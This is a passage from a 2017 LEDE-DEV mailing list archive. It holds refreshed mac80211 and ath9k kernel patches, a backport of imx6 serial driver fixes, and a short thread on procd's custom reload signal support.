@@ -44,47 +59,35 @@ Signed-off-by: Felix Fietkau <nbd at nbd.name>
 +		for (i = 0; i < AR_NUM_QCU; i++) {
 +			if (ath9k_hw_numtxpending(ah, i))
 +				return true;
-+		}
- 	}
- 
--	if (ah->external_reset &&
--	    (npend || type == ATH9K_RESET_COLD)) {
--		int reset_err = 0;
+ 		}
++	}
++
 +	return false;
 +}
- 
--		ath_dbg(ath9k_hw_common(ah), RESET,
--			"reset MAC via external reset\n");
++
 +static bool ath9k_hw_external_reset(struct ath_hw *ah, int type)
 +{
 +	int err;
- 
--		reset_err = ah->external_reset();
--		if (reset_err) {
--			ath_err(ath9k_hw_common(ah),
--				"External reset failed, err=%d\n",
--				reset_err);
--			return false;
--		}
++
 +	if (!ah->external_reset || !ath9k_hw_need_external_reset(ah, type))
 +		return true;
- 
--		REG_WRITE(ah, AR_RTC_RESET, 1);
++
 +	ath_dbg(ath9k_hw_common(ah), RESET,
 +		"reset MAC via external reset\n");
-+
+ 
+-		REG_WRITE(ah, AR_RTC_RESET, 1);
 +	err = ah->external_reset();
 +	if (err) {
 +		ath_err(ath9k_hw_common(ah),
 +			"External reset failed, err=%d\n", err);
 +		return false;
-+	}
-+
+ 	}
+ 
 +	if (AR_SREV_9550(ah)) {
 +		REG_WRITE(ah, AR_RTC_RESET, 0);
 +		udelay(10);
- 	}
- 
++	}
++
 +	REG_WRITE(ah, AR_RTC_RESET, 1);
 +	udelay(10);
 +
diff --git a/package/kernel/mac80211/patches/319-mac80211-avoid-extra-memcpy-in-A-MSDU-head-creation.patch b/package/kernel/mac80211/patches/319-mac80211-avoid-extra-memcpy-in-A-MSDU-head-creation.patch
index fb6bd30..4668226 100644
--- a/package/kernel/mac80211/patches/319-mac80211-avoid-extra-memcpy-in-A-MSDU-head-creation.patch
+++ b/package/kernel/mac80211/patches/319-mac80211-avoid-extra-memcpy-in-A-MSDU-head-creation.patch
@@ -34,22 +34,23 @@ Signed-off-by: Johannes Berg <johannes.berg at intel.com>
 -	amsdu_hdr.h_proto = cpu_to_be16(subframe_len);
 -	memcpy(amsdu_hdr.h_source, skb->data + fast_tx->sa_offs, ETH_ALEN);
 -	memcpy(amsdu_hdr.h_dest, skb->data + fast_tx->da_offs, ETH_ALEN);
+-
+-	data = skb_push(skb, sizeof(amsdu_hdr));
+-	memmove(data, data + sizeof(amsdu_hdr), hdr_len);
+-	memcpy(data + hdr_len, &amsdu_hdr, sizeof(amsdu_hdr));
+-
 +	data = skb_push(skb, sizeof(*amsdu_hdr));
 +	memmove(data, data + sizeof(*amsdu_hdr), hdr_len);
-+	hdr = data;
+ 	hdr = data;
 +	amsdu_hdr = data + hdr_len;
 +	/* h_80211_src/dst is addr* field within hdr */
 +	h_80211_src = data + fast_tx->sa_offs;
 +	h_80211_dst = data + fast_tx->da_offs;
- 
--	data = skb_push(skb, sizeof(amsdu_hdr));
--	memmove(data, data + sizeof(amsdu_hdr), hdr_len);
--	memcpy(data + hdr_len, &amsdu_hdr, sizeof(amsdu_hdr));
++
 +	amsdu_hdr->h_proto = cpu_to_be16(subframe_len);
 +	ether_addr_copy(amsdu_hdr->h_source, h_80211_src);
 +	ether_addr_copy(amsdu_hdr->h_dest, h_80211_dst);
- 
--	hdr = data;
++
  	qc = ieee80211_get_qos_ctl(hdr);
  	*qc |= IEEE80211_QOS_CTL_A_MSDU_PRESENT;
  
diff --git a/package/kernel/mac80211/patches/404-regd_no_assoc_hints.patch b/package/kernel/mac80211/patches/404-regd_no_assoc_hints.patch
index 1ef5545..469da90 100644
--- a/package/kernel/mac80211/patches/404-regd_no_assoc_hints.patch
+++ b/package/kernel/mac80211/patches/404-regd_no_assoc_hints.patch
@@ -1,6 +1,6 @@
 --- a/net/wireless/reg.c
 +++ b/net/wireless/reg.c
-@@ -2411,6 +2411,8 @@ void regulatory_hint_country_ie(struct w
+@@ -2398,6 +2398,8 @@ void regulatory_hint_country_ie(struct w
  	enum environment_cap env = ENVIRON_ANY;
  	struct regulatory_request *request = NULL, *lr;
  
@@ -9,7 +9,7 @@
  	/* IE len must be evenly divisible by 2 */
  	if (country_ie_len & 0x01)
  		return;
-@@ -2617,6 +2619,7 @@ static void restore_regulatory_settings(
+@@ -2604,6 +2606,7 @@ static void restore_regulatory_settings(
  
  void regulatory_hint_disconnect(void)
  {
diff --git a/package/kernel/mac80211/patches/522-mac80211_configure_antenna_gain.patch b/package/kernel/mac80211/patches/522-mac80211_configure_antenna_gain.patch
index 6e4962b..9e767ff 100644
--- a/package/kernel/mac80211/patches/522-mac80211_configure_antenna_gain.patch
+++ b/package/kernel/mac80211/patches/522-mac80211_configure_antenna_gain.patch
@@ -1,6 +1,6 @@
 --- a/include/net/cfg80211.h
 +++ b/include/net/cfg80211.h
-@@ -2562,6 +2562,7 @@ struct cfg80211_nan_func {
+@@ -2590,6 +2590,7 @@ struct cfg80211_nan_func {
   *	(as advertised by the nl80211 feature flag.)
   * @get_tx_power: store the current TX power into the dbm variable;
   *	return 0 if successful
@@ -8,7 +8,7 @@
   *
   * @set_wds_peer: set the WDS peer for a WDS interface
   *
-@@ -2836,6 +2837,7 @@ struct cfg80211_ops {
+@@ -2864,6 +2865,7 @@ struct cfg80211_ops {
  				enum nl80211_tx_power_setting type, int mbm);
  	int	(*get_tx_power)(struct wiphy *wiphy, struct wireless_dev *wdev,
  				int *dbm);
diff --git a/package/kernel/mac80211/patches/530-ath9k_extra_leds.patch b/package/kernel/mac80211/patches/530-ath9k_extra_leds.patch
index 3fbe316..cb58f95 100644
--- a/package/kernel/mac80211/patches/530-ath9k_extra_leds.patch
+++ b/package/kernel/mac80211/patches/530-ath9k_extra_leds.patch
@@ -103,8 +103,7 @@
 +		      GFP_KERNEL);
 +	if (!led)
 +		return -ENOMEM;
- 
--	ath9k_hw_set_gpio(sc->sc_ah, sc->sc_ah->led_pin, val);
++
 +	led->gpio = gpio = (struct gpio_led *) (led + 1);
 +	_name = (char *) (led->gpio + 1);
 +
@@ -117,7 +116,8 @@
 +	ret = ath_add_led(sc, led);
 +	if (unlikely(ret < 0))
 +		kfree(led);
-+
+ 
+-	ath9k_hw_set_gpio(sc->sc_ah, sc->sc_ah->led_pin, val);
 +	return ret;
  }
  
@@ -125,11 +125,11 @@
  {
 -	if (!sc->led_registered)
 -		return;
--
--	ath_led_brightness(&sc->led_cdev, LED_OFF);
--	led_classdev_unregister(&sc->led_cdev);
 +	struct ath_led *led;
  
+-	ath_led_brightness(&sc->led_cdev, LED_OFF);
+-	led_classdev_unregister(&sc->led_cdev);
+-
 -	ath9k_hw_gpio_free(sc->sc_ah, sc->sc_ah->led_pin);
 +	while (!list_empty(&sc->leds)) {
 +		led = list_first_entry(&sc->leds, struct ath_led, list);
diff --git a/package/kernel/mac80211/patches/556-ath9k-define-all-EEPROM-fields-in-Little-Endian-form.patch b/package/kernel/mac80211/patches/556-ath9k-define-all-EEPROM-fields-in-Little-Endian-form.patch
index 292ea8a..04714f8 100644
--- a/package/kernel/mac80211/patches/556-ath9k-define-all-EEPROM-fields-in-Little-Endian-form.patch
+++ b/package/kernel/mac80211/patches/556-ath9k-define-all-EEPROM-fields-in-Little-Endian-form.patch
@@ -349,6 +349,16 @@ Signed-off-by: Martin Blumenstingl <martin.blumenstingl at googlemail.com>
 -
 -		integer = swab32(eep->modalHeader.antCtrlCommon);
 -		eep->modalHeader.antCtrlCommon = integer;
+-
+-		for (i = 0; i < AR5416_EEP4K_MAX_CHAINS; i++) {
+-			integer = swab32(eep->modalHeader.antCtrlChain[i]);
+-			eep->modalHeader.antCtrlChain[i] = integer;
+-		}
+-
+-		for (i = 0; i < AR_EEPROM_MODAL_SPURS; i++) {
+-			word = swab16(eep->modalHeader.spurChans[i].spurChan);
+-			eep->modalHeader.spurChans[i].spurChan = word;
+-		}
 +		EEPROM_FIELD_SWAB16(eep->baseEepHeader.length);
 +		EEPROM_FIELD_SWAB16(eep->baseEepHeader.checksum);
 +		EEPROM_FIELD_SWAB16(eep->baseEepHeader.version);
@@ -358,18 +368,10 @@ Signed-off-by: Martin Blumenstingl <martin.blumenstingl at googlemail.com>
 +		EEPROM_FIELD_SWAB16(eep->baseEepHeader.blueToothOptions);
 +		EEPROM_FIELD_SWAB16(eep->baseEepHeader.deviceCap);
 +		EEPROM_FIELD_SWAB32(eep->modalHeader.antCtrlCommon);
- 
--		for (i = 0; i < AR5416_EEP4K_MAX_CHAINS; i++) {
--			integer = swab32(eep->modalHeader.antCtrlChain[i]);
--			eep->modalHeader.antCtrlChain[i] = integer;
--		}
++
 +		for (i = 0; i < AR5416_EEP4K_MAX_CHAINS; i++)
 +			EEPROM_FIELD_SWAB32(eep->modalHeader.antCtrlChain[i]);
- 
--		for (i = 0; i < AR_EEPROM_MODAL_SPURS; i++) {
--			word = swab16(eep->modalHeader.spurChans[i].spurChan);
--			eep->modalHeader.spurChans[i].spurChan = word;
--		}
++
 +		for (i = 0; i < AR_EEPROM_MODAL_SPURS; i++)
 +			EEPROM_FIELD_SWAB16(
 +				eep->modalHeader.spurChans[i].spurChan);
@@ -540,6 +542,16 @@ Signed-off-by: Martin Blumenstingl <martin.blumenstingl at googlemail.com>
 -
 -		integer = swab32(eep->modalHeader.antCtrlCommon);
 -		eep->modalHeader.antCtrlCommon = integer;
+-
+-		for (i = 0; i < AR9287_MAX_CHAINS; i++) {
+-			integer = swab32(eep->modalHeader.antCtrlChain[i]);
+-			eep->modalHeader.antCtrlChain[i] = integer;
+-		}
+-
+-		for (i = 0; i < AR_EEPROM_MODAL_SPURS; i++) {
+-			word = swab16(eep->modalHeader.spurChans[i].spurChan);
+-			eep->modalHeader.spurChans[i].spurChan = word;
+-		}
 +		EEPROM_FIELD_SWAB16(eep->baseEepHeader.length);
 +		EEPROM_FIELD_SWAB16(eep->baseEepHeader.checksum);
 +		EEPROM_FIELD_SWAB16(eep->baseEepHeader.version);
@@ -549,18 +561,10 @@ Signed-off-by: Martin Blumenstingl <martin.blumenstingl at googlemail.com>
 +		EEPROM_FIELD_SWAB16(eep->baseEepHeader.blueToothOptions);
 +		EEPROM_FIELD_SWAB16(eep->baseEepHeader.deviceCap);
 +		EEPROM_FIELD_SWAB32(eep->modalHeader.antCtrlCommon);
- 
--		for (i = 0; i < AR9287_MAX_CHAINS; i++) {
--			integer = swab32(eep->modalHeader.antCtrlChain[i]);
--			eep->modalHeader.antCtrlChain[i] = integer;
--		}
++
 +		for (i = 0; i < AR9287_MAX_CHAINS; i++)
 +			EEPROM_FIELD_SWAB32(eep->modalHeader.antCtrlChain[i]);
- 
--		for (i = 0; i < AR_EEPROM_MODAL_SPURS; i++) {
--			word = swab16(eep->modalHeader.spurChans[i].spurChan);
--			eep->modalHeader.spurChans[i].spurChan = word;
--		}
++
 +		for (i = 0; i < AR_EEPROM_MODAL_SPURS; i++)
 +			EEPROM_FIELD_SWAB16(
 +				eep->modalHeader.spurChans[i].spurChan);
@@ -712,7 +716,8 @@ Signed-off-by: Martin Blumenstingl <martin.blumenstingl at googlemail.com>
  	if (need_swap) {
 -		u32 integer, j;
 -		u16 word;
--
++		u32 j;
+ 
 -		word = swab16(eep->baseEepHeader.length);
 -		eep->baseEepHeader.length = word;
 -
@@ -733,8 +738,7 @@ Signed-off-by: Martin Blumenstingl <martin.blumenstingl at googlemail.com>
 -
 -		word = swab16(eep->baseEepHeader.blueToothOptions);
 -		eep->baseEepHeader.blueToothOptions = word;
-+		u32 j;
- 
+-
 -		word = swab16(eep->baseEepHeader.deviceCap);
 -		eep->baseEepHeader.deviceCap = word;
 +		EEPROM_FIELD_SWAB16(eep->baseEepHeader.length);
diff --git a/package/kernel/mac80211/patches/910-01-add-support-for-mt7620.patch b/package/kernel/mac80211/patches/910-01-add-support-for-mt7620.patch
index e506f5a..5ba5580 100644
--- a/package/kernel/mac80211/patches/910-01-add-support-for-mt7620.patch
+++ b/package/kernel/mac80211/patches/910-01-add-support-for-mt7620.patch
@@ -91,8 +91,7 @@
 +			rt2x00_set_field32(&reg, RF_CSR_CFG_REGNUM_MT7620, word);
 +			rt2x00_set_field32(&reg, RF_CSR_CFG_WRITE_MT7620, 1);
 +			rt2x00_set_field32(&reg, RF_CSR_CFG_BUSY_MT7620, 1);
- 
--		rt2800_register_write_lock(rt2x00dev, RF_CSR_CFG, reg);
++
 +			rt2800_register_write_lock(rt2x00dev, RF_CSR_CFG, reg);
 +		}
 +		break;
@@ -104,7 +103,8 @@
 +			rt2x00_set_field32(&reg, RF_CSR_CFG_REGNUM, word);
 +			rt2x00_set_field32(&reg, RF_CSR_CFG_WRITE, 1);
 +			rt2x00_set_field32(&reg, RF_CSR_CFG_BUSY, 1);
-+
+ 
+-		rt2800_register_write_lock(rt2x00dev, RF_CSR_CFG, reg);
 +			rt2800_register_write_lock(rt2x00dev, RF_CSR_CFG, reg);
 +		}
 +		break;
-- 
2.7.4



From nbd at nbd.name  Fri Jan 13 01:43:37 2017
From: nbd at nbd.name (Felix Fietkau)
Date: Fri, 13 Jan 2017 10:43:37 +0100
Subject: [LEDE-DEV] [PATCH 1/2] mac80211: backport some upstream fixes
In-Reply-To: <1484300093-26452-1-git-send-email-koen.vandeputte@ncentric.com>
References: <1484300093-26452-1-git-send-email-koen.vandeputte@ncentric.com>
Message-ID: <f679c940-2557-976b-dff5-5677e45817a9@nbd.name>

On 2017-01-13 10:34, Koen Vandeputte wrote:
> Backports the following upstream fixes:
> 
> mac80211: initialize fast-xmit 'info' later
> mac80211: fix legacy and invalid rx-rate report
> mac80211: fix tid_agg_rx NULL dereference
> 
> Compiled and tested on: cns3xxx
> 
> Signed-off-by: Koen Vandeputte <koen.vandeputte at ncentric.com>
Applied the first patch, did the refresh myself because your patch did
not apply to my staging tree.

Thanks,

- Felix



From ynezz at true.cz  Fri Jan 13 02:42:08 2017
From: ynezz at true.cz (=?UTF-8?q?Petr=20=C5=A0tetiar?=)
Date: Fri, 13 Jan 2017 11:42:08 +0100
Subject: [LEDE-DEV] [PATCH] imx6: kernel: Backport serial port fixes
Message-ID: <1484304128-15049-1-git-send-email-ynezz@true.cz>

Signed-off-by: Petr ?tetiar <ynezz at true.cz>
---
 ...erial-imx-repair-and-complete-handshaking.patch | 78 ++++++++++++++++++++++
 .../111-serial-imx-fix-polarity-of-RI.patch        | 38 +++++++++++
 ...let-irq-handler-return-IRQ_NONE-if-no-eve.patch | 72 ++++++++++++++++++++
 ...imx-make-sure-unhandled-irqs-are-disabled.patch | 61 +++++++++++++++++
 4 files changed, 249 insertions(+)
 create mode 100644 target/linux/imx6/patches-4.4/110-serial-imx-repair-and-complete-handshaking.patch
 create mode 100644 target/linux/imx6/patches-4.4/111-serial-imx-fix-polarity-of-RI.patch
 create mode 100644 target/linux/imx6/patches-4.4/112-serial-imx-let-irq-handler-return-IRQ_NONE-if-no-eve.patch
 create mode 100644 target/linux/imx6/patches-4.4/113-serial-imx-make-sure-unhandled-irqs-are-disabled.patch

diff --git a/target/linux/imx6/patches-4.4/110-serial-imx-repair-and-complete-handshaking.patch b/target/linux/imx6/patches-4.4/110-serial-imx-repair-and-complete-handshaking.patch
new file mode 100644
index 0000000..0a117f6
--- /dev/null
+++ b/target/linux/imx6/patches-4.4/110-serial-imx-repair-and-complete-handshaking.patch
@@ -0,0 +1,78 @@
+From 90ebc4838666d148eac5bbac6f4044e5b25cd2d6 Mon Sep 17 00:00:00 2001
+From: =?UTF-8?q?Uwe=20Kleine-K=C3=B6nig?= <u.kleine-koenig at pengutronix.de>
+Date: Sun, 18 Oct 2015 21:34:46 +0200
+Subject: [PATCH] serial: imx: repair and complete handshaking
+MIME-Version: 1.0
+Content-Type: text/plain; charset=UTF-8
+Content-Transfer-Encoding: 8bit
+
+The .get_mctrl callback should not report the status of RTS or LOOP, so
+drop this. Instead implement reporting the state of CAR (aka DCD) and
+RI.
+
+For .set_mctrl implement setting the DTR line.
+
+Signed-off-by: Uwe Kleine-K?nig <u.kleine-koenig at pengutronix.de>
+Signed-off-by: Greg Kroah-Hartman <gregkh at linuxfoundation.org>
+Signed-off-by: Petr ?tetiar <ynezz at true.cz>
+---
+ drivers/tty/serial/imx.c | 23 +++++++++++++++++------
+ 1 file changed, 17 insertions(+), 6 deletions(-)
+
+diff --git a/drivers/tty/serial/imx.c b/drivers/tty/serial/imx.c
+index 76818f5..086675e 100644
+--- a/drivers/tty/serial/imx.c
++++ b/drivers/tty/serial/imx.c
+@@ -148,8 +148,11 @@
+ #define USR2_TXFE	 (1<<14) /* Transmit buffer FIFO empty */
+ #define USR2_DTRF	 (1<<13) /* DTR edge interrupt flag */
+ #define USR2_IDLE	 (1<<12) /* Idle condition */
++#define USR2_RIDELT	 (1<<10) /* Ring Interrupt Delta */
++#define USR2_RIIN	 (1<<9)	 /* Ring Indicator Input */
+ #define USR2_IRINT	 (1<<8)	 /* Serial infrared interrupt flag */
+ #define USR2_WAKE	 (1<<7)	 /* Wake */
++#define USR2_DCDIN	 (1<<5)	 /* Data Carrier Detect Input */
+ #define USR2_RTSF	 (1<<4)	 /* RTS edge interrupt flag */
+ #define USR2_TXDC	 (1<<3)	 /* Transmitter complete */
+ #define USR2_BRCD	 (1<<2)	 /* Break condition */
+@@ -804,16 +807,19 @@ static unsigned int imx_tx_empty(struct uart_port *port)
+ static unsigned int imx_get_mctrl(struct uart_port *port)
+ {
+ 	struct imx_port *sport = (struct imx_port *)port;
+-	unsigned int tmp = TIOCM_DSR | TIOCM_CAR;
++	unsigned int tmp = TIOCM_DSR;
++	unsigned usr1 = readl(sport->port.membase + USR1);
+ 
+-	if (readl(sport->port.membase + USR1) & USR1_RTSS)
++	if (usr1 & USR1_RTSS)
+ 		tmp |= TIOCM_CTS;
+ 
+-	if (readl(sport->port.membase + UCR2) & UCR2_CTS)
+-		tmp |= TIOCM_RTS;
++	/* in DCE mode DCDIN is always 0 */
++	if (!(usr1 & USR2_DCDIN))
++		tmp |= TIOCM_CAR;
+ 
+-	if (readl(sport->port.membase + uts_reg(sport)) & UTS_LOOP)
+-		tmp |= TIOCM_LOOP;
++	/* in DCE mode RIIN is always 0 */
++	if (readl(sport->port.membase + USR2) & USR2_RIIN)
++		tmp |= TIOCM_RI;
+ 
+ 	return tmp;
+ }
+@@ -831,6 +837,11 @@ static void imx_set_mctrl(struct uart_port *port, unsigned int mctrl)
+ 		writel(temp, sport->port.membase + UCR2);
+ 	}
+ 
++	temp = readl(sport->port.membase + UCR3) & ~UCR3_DSR;
++	if (!(mctrl & TIOCM_DTR))
++		temp |= UCR3_DSR;
++	writel(temp, sport->port.membase + UCR3);
++
+ 	temp = readl(sport->port.membase + uts_reg(sport)) & ~UTS_LOOP;
+ 	if (mctrl & TIOCM_LOOP)
+ 		temp |= UTS_LOOP;
+-- 
+1.9.1
+
diff --git a/target/linux/imx6/patches-4.4/111-serial-imx-fix-polarity-of-RI.patch b/target/linux/imx6/patches-4.4/111-serial-imx-fix-polarity-of-RI.patch
new file mode 100644
index 0000000..a065575
--- /dev/null
+++ b/target/linux/imx6/patches-4.4/111-serial-imx-fix-polarity-of-RI.patch
@@ -0,0 +1,38 @@
+From 9a061cea4477f26a1dfcc0a08dc20575016e91df Mon Sep 17 00:00:00 2001
+From: =?UTF-8?q?Uwe=20Kleine-K=C3=B6nig?= <u.kleine-koenig at pengutronix.de>
+Date: Thu, 24 Mar 2016 14:24:20 +0100
+Subject: [PATCH 1/3] serial: imx: fix polarity of RI
+MIME-Version: 1.0
+Content-Type: text/plain; charset=UTF-8
+Content-Transfer-Encoding: 8bit
+
+When in DTE mode, the bit USR2_RIIN is active low. So invert the logic
+accordingly.
+
+Fixes: 90ebc4838666 ("serial: imx: repair and complete handshaking")
+Signed-off-by: Uwe Kleine-K?nig <u.kleine-koenig at pengutronix.de>
+Signed-off-by: Petr ?tetiar <ynezz at true.cz>
+---
+ drivers/tty/serial/imx.c | 6 +++---
+ 1 file changed, 3 insertions(+), 3 deletions(-)
+
+diff --git a/drivers/tty/serial/imx.c b/drivers/tty/serial/imx.c
+index 231e7d5..bfc4555 100644
+--- a/drivers/tty/serial/imx.c
++++ b/drivers/tty/serial/imx.c
+@@ -797,9 +797,9 @@ static unsigned int imx_get_hwmctrl(struct imx_port *sport)
+ 	if (!(usr1 & USR2_DCDIN))
+ 		tmp |= TIOCM_CAR;
+ 
+-	/* in DCE mode RIIN is always 0 */
+-	if (readl(sport->port.membase + USR2) & USR2_RIIN)
+-		tmp |= TIOCM_RI;
++	if (sport->dte_mode)
++		if (!(readl(sport->port.membase + USR2) & USR2_RIIN))
++			tmp |= TIOCM_RI;
+ 
+ 	return tmp;
+ }
+-- 
+1.9.1
+
diff --git a/target/linux/imx6/patches-4.4/112-serial-imx-let-irq-handler-return-IRQ_NONE-if-no-eve.patch b/target/linux/imx6/patches-4.4/112-serial-imx-let-irq-handler-return-IRQ_NONE-if-no-eve.patch
new file mode 100644
index 0000000..0b803b7
--- /dev/null
+++ b/target/linux/imx6/patches-4.4/112-serial-imx-let-irq-handler-return-IRQ_NONE-if-no-eve.patch
@@ -0,0 +1,72 @@
+From de4356da2cd1a1857513047997d81143cb95a4e1 Mon Sep 17 00:00:00 2001
+From: =?UTF-8?q?Uwe=20Kleine-K=C3=B6nig?= <u.kleine-koenig at pengutronix.de>
+Date: Thu, 24 Mar 2016 14:24:21 +0100
+Subject: [PATCH 2/3] serial: imx: let irq handler return IRQ_NONE if no event
+ was handled
+MIME-Version: 1.0
+Content-Type: text/plain; charset=UTF-8
+Content-Transfer-Encoding: 8bit
+
+This gives the irq core a chance to disable the serial interrupt in case
+an event isn't cleared in the handler.
+
+Signed-off-by: Uwe Kleine-K?nig <u.kleine-koenig at pengutronix.de>
+Signed-off-by: Petr ?tetiar <ynezz at true.cz>
+---
+ drivers/tty/serial/imx.c | 17 +++++++++++++----
+ 1 file changed, 13 insertions(+), 4 deletions(-)
+
+diff --git a/drivers/tty/serial/imx.c b/drivers/tty/serial/imx.c
+index bfc4555..5ced61e 100644
+--- a/drivers/tty/serial/imx.c
++++ b/drivers/tty/serial/imx.c
+@@ -734,6 +734,7 @@ static irqreturn_t imx_int(int irq, void *dev_id)
+ 	struct imx_port *sport = dev_id;
+ 	unsigned int sts;
+ 	unsigned int sts2;
++	irqreturn_t ret = IRQ_NONE;
+ 
+ 	sts = readl(sport->port.membase + USR1);
+ 	sts2 = readl(sport->port.membase + USR2);
+@@ -743,26 +744,34 @@ static irqreturn_t imx_int(int irq, void *dev_id)
+ 			imx_dma_rxint(sport);
+ 		else
+ 			imx_rxint(irq, dev_id);
++		ret = IRQ_HANDLED;
+ 	}
+ 
+ 	if ((sts & USR1_TRDY &&
+ 	     readl(sport->port.membase + UCR1) & UCR1_TXMPTYEN) ||
+ 	    (sts2 & USR2_TXDC &&
+-	     readl(sport->port.membase + UCR4) & UCR4_TCEN))
++	     readl(sport->port.membase + UCR4) & UCR4_TCEN)) {
+ 		imx_txint(irq, dev_id);
++		ret = IRQ_HANDLED;
++	}
+ 
+-	if (sts & USR1_RTSD)
++	if (sts & USR1_RTSD) {
+ 		imx_rtsint(irq, dev_id);
++		ret = IRQ_HANDLED;
++	}
+ 
+-	if (sts & USR1_AWAKE)
++	if (sts & USR1_AWAKE) {
+ 		writel(USR1_AWAKE, sport->port.membase + USR1);
++		ret = IRQ_HANDLED;
++	}
+ 
+ 	if (sts2 & USR2_ORE) {
+ 		sport->port.icount.overrun++;
+ 		writel(USR2_ORE, sport->port.membase + USR2);
++		ret = IRQ_HANDLED;
+ 	}
+ 
+-	return IRQ_HANDLED;
++	return ret;
+ }
+ 
+ /*
+-- 
+1.9.1
+
diff --git a/target/linux/imx6/patches-4.4/113-serial-imx-make-sure-unhandled-irqs-are-disabled.patch b/target/linux/imx6/patches-4.4/113-serial-imx-make-sure-unhandled-irqs-are-disabled.patch
new file mode 100644
index 0000000..8978d33
--- /dev/null
+++ b/target/linux/imx6/patches-4.4/113-serial-imx-make-sure-unhandled-irqs-are-disabled.patch
@@ -0,0 +1,61 @@
+From a58c6360b9eb3a2374b0b069ba9ce7baec0f26df Mon Sep 17 00:00:00 2001
+From: =?UTF-8?q?Uwe=20Kleine-K=C3=B6nig?= <u.kleine-koenig at pengutronix.de>
+Date: Thu, 24 Mar 2016 14:24:22 +0100
+Subject: [PATCH 3/3] serial: imx: make sure unhandled irqs are disabled
+MIME-Version: 1.0
+Content-Type: text/plain; charset=UTF-8
+Content-Transfer-Encoding: 8bit
+
+Make sure that events that are not handled in the irq function don't
+trigger an interrupt.
+
+When the serial port is operated in DTE mode, the events for DCD and RI
+events are enabled after a system reset by default.
+
+Signed-off-by: Uwe Kleine-K?nig <u.kleine-koenig at pengutronix.de>
+Signed-off-by: Petr ?tetiar <ynezz at true.cz>
+---
+ drivers/tty/serial/imx.c | 23 ++++++++++++++++++++++-
+ 1 file changed, 22 insertions(+), 1 deletion(-)
+
+diff --git a/drivers/tty/serial/imx.c b/drivers/tty/serial/imx.c
+index 5ced61e..fcd48fd 100644
+--- a/drivers/tty/serial/imx.c
++++ b/drivers/tty/serial/imx.c
+@@ -1221,11 +1221,32 @@ static int imx_startup(struct uart_port *port)
+ 	temp |= (UCR2_RXEN | UCR2_TXEN);
+ 	if (!sport->have_rtscts)
+ 		temp |= UCR2_IRTS;
++	/*
++	 * make sure the edge sensitive RTS-irq is disabled,
++	 * we're using RTSD instead.
++	 */
++	if (!is_imx1_uart(sport))
++		temp &= ~UCR2_RTSEN;
+ 	writel(temp, sport->port.membase + UCR2);
+ 
+ 	if (!is_imx1_uart(sport)) {
+ 		temp = readl(sport->port.membase + UCR3);
+-		temp |= IMX21_UCR3_RXDMUXSEL | UCR3_ADNIMP;
++
++		/*
++		 * The effect of RI and DCD differs depending on the UFCR_DCEDTE
++		 * bit. In DCE mode they control the outputs, in DTE mode they
++		 * enable the respective irqs. At least the DCD irq cannot be
++		 * cleared on i.MX25 at least, so it's not usable and must be
++		 * disabled. I don't have test hardware to check if RI has the
++		 * same problem but I consider this likely so it's disabled for
++		 * now, too.
++		 */
++		temp |= IMX21_UCR3_RXDMUXSEL | UCR3_ADNIMP |
++			UCR3_RI | UCR3_DCD;
++
++		if (sport->dte_mode)
++			temp &= ~(UCR3_RI | UCR3_DCD);
++
+ 		writel(temp, sport->port.membase + UCR3);
+ 	}
+ 
+-- 
+1.9.1
+
-- 
1.9.1



From nbd at nbd.name  Fri Jan 13 03:10:34 2017
From: nbd at nbd.name (Felix Fietkau)
Date: Fri, 13 Jan 2017 12:10:34 +0100
Subject: [LEDE-DEV] [PATCH] ramips: Add I2C driver to the default kernel
 config
In-Reply-To: <20170113030500.8362-1-rosenp@gmail.com>
References: <20170113030500.8362-1-rosenp@gmail.com>
Message-ID: <8f03adf2-10d6-e1f2-3f62-4652205acb0c@nbd.name>

On 2017-01-13 04:05, Rosen Penev wrote:
> I made a commit that added the RTC driver to the kernel config with
> the intent that it would fix hctosys. Unfortunately while the RTC
> driver is in there, it's connected through I2C, the driver for which
> comes in module form and is thus loaded late. After this commit, it
> works fine.
> 
> Signed-off by: Rosen Penev <rosenp at gmail.com>
Please remove kmod-i2c-mt7621 from modules.mk as well.

- Felix



From jo at mein.io  Fri Jan 13 03:20:04 2017
From: jo at mein.io (Jo-Philipp Wich)
Date: Fri, 13 Jan 2017 12:20:04 +0100
Subject: [LEDE-DEV] procd & custom reload support
In-Reply-To: <CACna6ryXpDYSD4zQZr2WK3-jbUm3HLDkg0kCT=DeYms3E+rPFA@mail.gmail.com>
References: <CACna6ryXpDYSD4zQZr2WK3-jbUm3HLDkg0kCT=DeYms3E+rPFA@mail.gmail.com>
Message-ID: <1817975c-1a1d-7ee3-67a4-44908d199b06@mein.io>

Hi Rafa?,

> What I'd like to achieve is procd monitoring /etc/foo.conf and calling
> my custom reload function if there is a real need to reload service.
> 
> Is that possible with procd?

Yes. This facility was recently introduced with

https://git.lede-project.org/?p=project/procd.git;a=commitdiff;h=f800ecf860addd4fc7f1acde76a9adbd4b1f50e7

and

https://git.lede-project.org/?p=source.git;a=commitdiff;h=b22a20af450b19fb47235e684afcddb301221def

To enable it, add "procd_set_param reload_signal 10" to your init script.

~ Jo


From mschiffer at universe-factory.net  Fri Jan 13 05:06:56 2017
From: mschiffer at universe-factory.net (Matthias Schiffer)
Date: Fri, 13 Jan 2017 14:06:56 +0100
Subject: [LEDE-DEV] procd & custom reload support
In-Reply-To: <1817975c-1a1d-7ee3-67a4-44908d199b06@mein.io>
References: <CACna6ryXpDYSD4zQZr2WK3-jbUm3HLDkg0kCT=DeYms3E+rPFA@mail.gmail.com>
 <1817975c-1a1d-7ee3-67a4-44908d199b06@mein.io>
Message-ID: <bdbb402c-bc06-820b-10c9-17cafc7d376b@universe-factory.net>

On 01/13/2017 12:20 PM, Jo-Philipp Wich wrote:
> Hi Rafa?,
> 
>> What I'd like to achieve is procd monitoring /etc/foo.conf and calling
>> my custom reload function if there is a real need to reload service.
>>
>> Is that possible with procd?
> 
> Yes. This facility was recently introduced with
> 
> https://git.lede-project.org/?p=project/procd.git;a=commitdiff;h=f800ecf860addd4fc7f1acde76a9adbd4b1f50e7
> 
> and
> 
> https://git.lede-project.org/?p=source.git;a=commitdiff;h=b22a20af450b19fb47235e684afcddb301221def
> 
> To enable it, add "procd_set_param reload_signal 10" to your init script.
> 
> ~ Jo

Btw., does this support symbolic signal names? Many signal numbers
(including SIGUSR1) are arch-dependent (in particular, differ on MIPS) (see
`man 7 signal`).

Matthias


-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 833 bytes
Desc: OpenPGP digital signature
URL: <http://lists.infradead.org/pipermail/lede-dev/attachments/20170113/6d219964/attachment.sig>

From jo at mein.io  Fri Jan 13 05:17:36 2017
